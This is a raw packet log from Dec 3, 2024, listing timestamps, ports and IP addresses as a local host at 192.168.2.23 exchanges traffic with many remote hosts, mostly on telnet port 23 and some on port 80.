Dec 3, 2024 21:01:58.209548950 CET	41354	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:58.209835052 CET	41380	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:58.217632055 CET	23	59300	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:58.217871904 CET	23	59330	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:58.217915058 CET	59330	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:58.224803925 CET	23	59994	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:58.224883080 CET	59994	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:58.225176096 CET	60020	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:58.238403082 CET	23	39066	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:58.238836050 CET	23	39096	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:58.238884926 CET	39096	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:58.250480890 CET	23	53252	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.250883102 CET	23	53282	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.250930071 CET	53282	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.254287958 CET	23	34264	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:58.254302025 CET	23	50218	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:58.254312038 CET	80	56418	136.20.109.63	192.168.2.23
Dec 3, 2024 21:01:58.254333019 CET	80	56710	191.53.63.28	192.168.2.23
Dec 3, 2024 21:01:58.254343033 CET	23	52140	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:58.254343987 CET	34264	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:58.254350901 CET	50218	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.254354000 CET	23	45700	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:58.254359961 CET	56418	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:58.254364967 CET	23	43098	36.21.85.164	192.168.2.23
Dec 3, 2024 21:01:58.254375935 CET	52140	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:58.254376888 CET	56710	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:58.254383087 CET	23	39406	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:58.254393101 CET	45700	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:58.254393101 CET	23	46586	132.183.192.11	192.168.2.23
Dec 3, 2024 21:01:58.254398108 CET	43098	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:58.254415035 CET	39406	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:58.254431009 CET	46586	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:58.254656076 CET	56418	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:58.254694939 CET	56418	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:58.255065918 CET	56706	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:58.255328894 CET	80	20129	184.159.156.181	192.168.2.23
Dec 3, 2024 21:01:58.255372047 CET	20129	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.255734921 CET	47430	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.256110907 CET	56710	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:58.256110907 CET	56710	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:58.256400108 CET	57006	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:58.262080908 CET	52136	23	192.168.2.23	159.12.152.242
Dec 3, 2024 21:01:58.262083054 CET	38416	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:58.262083054 CET	42734	23	192.168.2.23	190.73.242.239
Dec 3, 2024 21:01:58.262085915 CET	52968	23	192.168.2.23	142.52.243.14
Dec 3, 2024 21:01:58.262085915 CET	32898	23	192.168.2.23	86.80.37.190
Dec 3, 2024 21:01:58.262089968 CET	50626	23	192.168.2.23	80.4.167.111
Dec 3, 2024 21:01:58.262090921 CET	36772	23	192.168.2.23	166.8.95.108
Dec 3, 2024 21:01:58.262090921 CET	34394	23	192.168.2.23	173.176.91.172
Dec 3, 2024 21:01:58.262099028 CET	57616	23	192.168.2.23	218.92.1.213
Dec 3, 2024 21:01:58.262099981 CET	52168	23	192.168.2.23	12.166.12.97
Dec 3, 2024 21:01:58.262110949 CET	38020	23	192.168.2.23	73.97.246.62
Dec 3, 2024 21:01:58.262111902 CET	50450	23	192.168.2.23	158.126.177.164
Dec 3, 2024 21:01:58.262110949 CET	47498	23	192.168.2.23	60.49.247.195
Dec 3, 2024 21:01:58.262118101 CET	58020	23	192.168.2.23	190.137.9.223
Dec 3, 2024 21:01:58.262120962 CET	39188	23	192.168.2.23	122.50.242.142
Dec 3, 2024 21:01:58.262128115 CET	45342	23	192.168.2.23	184.154.211.219
Dec 3, 2024 21:01:58.262135029 CET	58420	23	192.168.2.23	74.66.110.56
Dec 3, 2024 21:01:58.262135983 CET	47174	23	192.168.2.23	53.174.78.169
Dec 3, 2024 21:01:58.262135983 CET	37974	23	192.168.2.23	147.0.127.209
Dec 3, 2024 21:01:58.262140036 CET	55632	23	192.168.2.23	68.92.143.216
Dec 3, 2024 21:01:58.262159109 CET	46964	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:01:58.262159109 CET	49396	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:01:58.262161016 CET	36086	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:01:58.272063017 CET	37215	18849	156.224.8.58	192.168.2.23
Dec 3, 2024 21:01:58.272115946 CET	18849	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:01:58.286087036 CET	23	45414	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:58.286142111 CET	45414	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:58.294069052 CET	59618	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:58.312822104 CET	23	45490	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:58.313116074 CET	23	52950	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:58.313169003 CET	23	45520	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:58.313206911 CET	52950	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:58.313206911 CET	45520	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:58.313559055 CET	23	36404	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:58.313570976 CET	52982	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:58.313901901 CET	23	36434	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:58.313935995 CET	36434	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:58.314233065 CET	23	46236	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:58.314449072 CET	23	46266	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:58.314496994 CET	46266	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:58.315026999 CET	23	44574	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:58.316234112 CET	23	42300	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:58.316441059 CET	23	42330	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:58.316483974 CET	42330	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:58.319224119 CET	23	49336	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:58.319298983 CET	49336	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:58.319638014 CET	49368	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:58.329588890 CET	23	41354	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:58.329807997 CET	23	47254	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:58.329885006 CET	47254	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:58.330020905 CET	23	41380	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:58.330070019 CET	41380	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:58.330269098 CET	47286	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:58.339757919 CET	23	59330	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:58.339817047 CET	59330	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:58.340276957 CET	59362	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:58.345676899 CET	23	59994	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:58.345856905 CET	23	60020	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:58.345905066 CET	60020	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:58.371067047 CET	23	53282	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.371275902 CET	53282	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.371654987 CET	53312	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.374541044 CET	23	34264	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:58.374552011 CET	80	56418	136.20.109.63	192.168.2.23
Dec 3, 2024 21:01:58.374588013 CET	23	50218	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:58.374609947 CET	34264	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:58.374789000 CET	80	56418	136.20.109.63	192.168.2.23
Dec 3, 2024 21:01:58.374924898 CET	34570	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:58.374957085 CET	23	52140	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:58.374972105 CET	80	56706	136.20.109.63	192.168.2.23
Dec 3, 2024 21:01:58.375020981 CET	56706	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:58.375046968 CET	80	56710	191.53.63.28	192.168.2.23
Dec 3, 2024 21:01:58.375057936 CET	56706	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:58.375082970 CET	56710	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:58.375170946 CET	23	45700	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:58.375336885 CET	23	43098	36.21.85.164	192.168.2.23
Dec 3, 2024 21:01:58.375391960 CET	23	39406	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:58.375461102 CET	39406	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:58.375536919 CET	23	46586	132.183.192.11	192.168.2.23
Dec 3, 2024 21:01:58.375591040 CET	80	47430	184.159.156.181	192.168.2.23
Dec 3, 2024 21:01:58.375633001 CET	47430	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.375664949 CET	47430	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.375672102 CET	47430	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.375933886 CET	80	56710	191.53.63.28	192.168.2.23
Dec 3, 2024 21:01:58.375956059 CET	39722	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:58.376050949 CET	47448	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.376068115 CET	80	56710	191.53.63.28	192.168.2.23
Dec 3, 2024 21:01:58.376230955 CET	80	57006	191.53.63.28	192.168.2.23
Dec 3, 2024 21:01:58.376267910 CET	57006	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:58.376625061 CET	57006	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:58.376854897 CET	45700	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:58.377144098 CET	46018	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:58.377516985 CET	52140	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:58.377809048 CET	52458	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:58.378056049 CET	46586	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:58.378058910 CET	43098	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:58.378060102 CET	50218	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.378185034 CET	50218	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.378473043 CET	50530	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.378829956 CET	43098	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:58.379112959 CET	43410	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:58.379529953 CET	46586	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:58.379808903 CET	46918	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:58.382145882 CET	23	38416	45.252.170.0	192.168.2.23
Dec 3, 2024 21:01:58.382198095 CET	38416	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:58.406310081 CET	23	45414	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:58.406402111 CET	45414	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:58.406769037 CET	45652	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:58.414068937 CET	23	59618	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:58.414124012 CET	59618	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:58.433233023 CET	23	52950	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:58.433495998 CET	23	52982	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:58.433506966 CET	23	45520	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:58.433552980 CET	52982	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:58.433571100 CET	45520	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:58.433876991 CET	45568	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:58.433993101 CET	23	36434	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:58.434051037 CET	36434	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:58.434269905 CET	36434	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:58.434493065 CET	23	46266	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:58.434561014 CET	36482	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:58.434950113 CET	46266	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:58.435237885 CET	46314	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:58.436484098 CET	23	42330	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:58.436542034 CET	42330	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:58.436829090 CET	42376	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:58.439389944 CET	23	49336	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:58.439701080 CET	23	49368	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:58.439750910 CET	49368	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:58.449912071 CET	23	47254	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:58.450243950 CET	23	47286	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:58.450253963 CET	23	41380	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:58.450306892 CET	41380	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:58.450409889 CET	47286	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:58.450630903 CET	41426	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:58.459934950 CET	23	59330	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:58.460361004 CET	23	59362	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:58.460406065 CET	59362	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:58.466095924 CET	23	60020	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:58.466169119 CET	60020	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:58.466480970 CET	60066	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:58.491292953 CET	23	53282	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.491537094 CET	23	53312	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.491588116 CET	53312	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.494530916 CET	23	34264	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:58.494822025 CET	23	34570	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:58.494859934 CET	34570	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:58.494947910 CET	80	56710	191.53.63.28	192.168.2.23
Dec 3, 2024 21:01:58.495184898 CET	80	56706	136.20.109.63	192.168.2.23
Dec 3, 2024 21:01:58.495225906 CET	56706	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:58.495294094 CET	23	39406	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:58.495589972 CET	80	47430	184.159.156.181	192.168.2.23
Dec 3, 2024 21:01:58.495729923 CET	80	47430	184.159.156.181	192.168.2.23
Dec 3, 2024 21:01:58.495840073 CET	23	39722	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:58.495881081 CET	39722	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:58.495898962 CET	80	47448	184.159.156.181	192.168.2.23
Dec 3, 2024 21:01:58.495946884 CET	47448	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.495959997 CET	47448	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.496298075 CET	80	57006	191.53.63.28	192.168.2.23
Dec 3, 2024 21:01:58.496395111 CET	57006	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:58.496473074 CET	80	57006	191.53.63.28	192.168.2.23
Dec 3, 2024 21:01:58.496716976 CET	23	45700	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:58.497068882 CET	23	46018	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:58.497111082 CET	46018	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:58.497406006 CET	23	52140	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:58.497699976 CET	23	52458	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:58.497740030 CET	52458	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:58.498027086 CET	23	50218	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:58.498323917 CET	23	50530	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:58.498375893 CET	50530	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.498661041 CET	23	43098	36.21.85.164	192.168.2.23
Dec 3, 2024 21:01:58.499442101 CET	23	46586	132.183.192.11	192.168.2.23
Dec 3, 2024 21:01:58.502331018 CET	23	38416	45.252.170.0	192.168.2.23
Dec 3, 2024 21:01:58.502405882 CET	38416	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:58.502741098 CET	38586	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:58.526338100 CET	23	45414	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:58.526657104 CET	23	45652	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:58.526715994 CET	45652	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:58.534315109 CET	23	59618	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:58.534408092 CET	59618	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:58.534843922 CET	59784	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:58.553910017 CET	23	45520	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:58.554050922 CET	23	45568	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:58.554100990 CET	23	52982	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:58.554102898 CET	45568	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:58.554161072 CET	52982	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:58.554505110 CET	53026	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:58.554615021 CET	23	36434	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:58.554842949 CET	23	36482	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:58.554892063 CET	36482	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:58.554985046 CET	23	46266	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:58.555294991 CET	23	46314	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:58.555336952 CET	46314	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:58.556478977 CET	23	42330	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:58.556715012 CET	23	42376	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:58.556766987 CET	42376	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:58.559895039 CET	23	49368	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:58.559967995 CET	49368	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:58.560275078 CET	49412	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:58.570329905 CET	23	41380	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:58.570529938 CET	23	41426	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:58.570575953 CET	41426	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:58.570591927 CET	23	47286	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:58.570707083 CET	47286	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:58.571048021 CET	47330	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:58.580724001 CET	23	59362	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:58.580817938 CET	59362	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:58.581209898 CET	59406	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:58.586095095 CET	23	60020	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:58.586380959 CET	23	60066	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:58.586426973 CET	60066	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:58.611968994 CET	23	53312	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.612107992 CET	53312	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.612593889 CET	53356	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.615003109 CET	23	34570	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:58.615062952 CET	34570	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:58.615379095 CET	34614	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:58.616023064 CET	23	39722	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:58.616080046 CET	39722	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:58.616170883 CET	80	47448	184.159.156.181	192.168.2.23
Dec 3, 2024 21:01:58.616215944 CET	47448	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.616377115 CET	39766	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:58.617152929 CET	23	46018	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:58.617212057 CET	46018	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:58.617501974 CET	46060	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:58.617718935 CET	23	52458	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:58.617885113 CET	52458	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:58.618160963 CET	52500	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:58.618582010 CET	23	50530	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:58.618645906 CET	50530	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.618918896 CET	50572	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.622337103 CET	23	38416	45.252.170.0	192.168.2.23
Dec 3, 2024 21:01:58.622633934 CET	23	38586	45.252.170.0	192.168.2.23
Dec 3, 2024 21:01:58.622770071 CET	38586	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:58.646914005 CET	23	45652	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:58.647022009 CET	45652	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:58.647464037 CET	45690	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:58.654346943 CET	23	59618	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:58.654824018 CET	23	59784	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:58.654881954 CET	59784	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:58.674072981 CET	23	52982	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:58.674201965 CET	23	45568	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:58.674333096 CET	45568	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:58.674428940 CET	23	53026	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:58.674480915 CET	53026	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:58.674753904 CET	45606	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:58.674909115 CET	23	36482	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:58.675170898 CET	36482	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:58.675482035 CET	36520	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:58.675520897 CET	23	46314	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:58.675887108 CET	46314	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:58.676177025 CET	46352	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:58.676958084 CET	23	42376	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:58.677009106 CET	42376	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:58.677299023 CET	42414	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:58.680294991 CET	23	49368	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:58.680627108 CET	23	49412	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:58.680675030 CET	49412	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:58.690808058 CET	23	47286	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:58.690943956 CET	23	41426	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:58.691054106 CET	41426	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:58.691081047 CET	23	47330	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:58.691123009 CET	47330	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:58.691390038 CET	41464	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:58.701585054 CET	23	59362	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:58.701601028 CET	23	59406	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:58.701673985 CET	59406	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:58.707031965 CET	23	60066	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:58.707139015 CET	60066	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:58.707549095 CET	60104	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:58.734275103 CET	23	53312	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.734292030 CET	23	53356	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.734371901 CET	53356	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.736037970 CET	23	34570	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:58.736365080 CET	23	34614	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:58.736418009 CET	34614	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:58.736888885 CET	23	39722	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:58.737210035 CET	23	39766	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:58.737272978 CET	39766	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:58.737665892 CET	23	46018	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:58.737678051 CET	23	46060	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:58.737716913 CET	23	52458	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:58.737729073 CET	46060	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:58.738004923 CET	23	52500	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:58.738056898 CET	52500	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:58.738517046 CET	23	50530	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:58.738820076 CET	23	50572	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:58.738871098 CET	50572	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.742904902 CET	23	38586	45.252.170.0	192.168.2.23
Dec 3, 2024 21:01:58.742975950 CET	38586	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:58.743410110 CET	38624	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:58.767082930 CET	23	45652	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:58.767575979 CET	23	45690	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:58.767623901 CET	45690	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:58.775183916 CET	23	59784	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:58.775269985 CET	59784	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:58.775690079 CET	59822	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:58.794353008 CET	23	45568	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:58.794744015 CET	23	45606	45.123.147.9	192.168.2.23
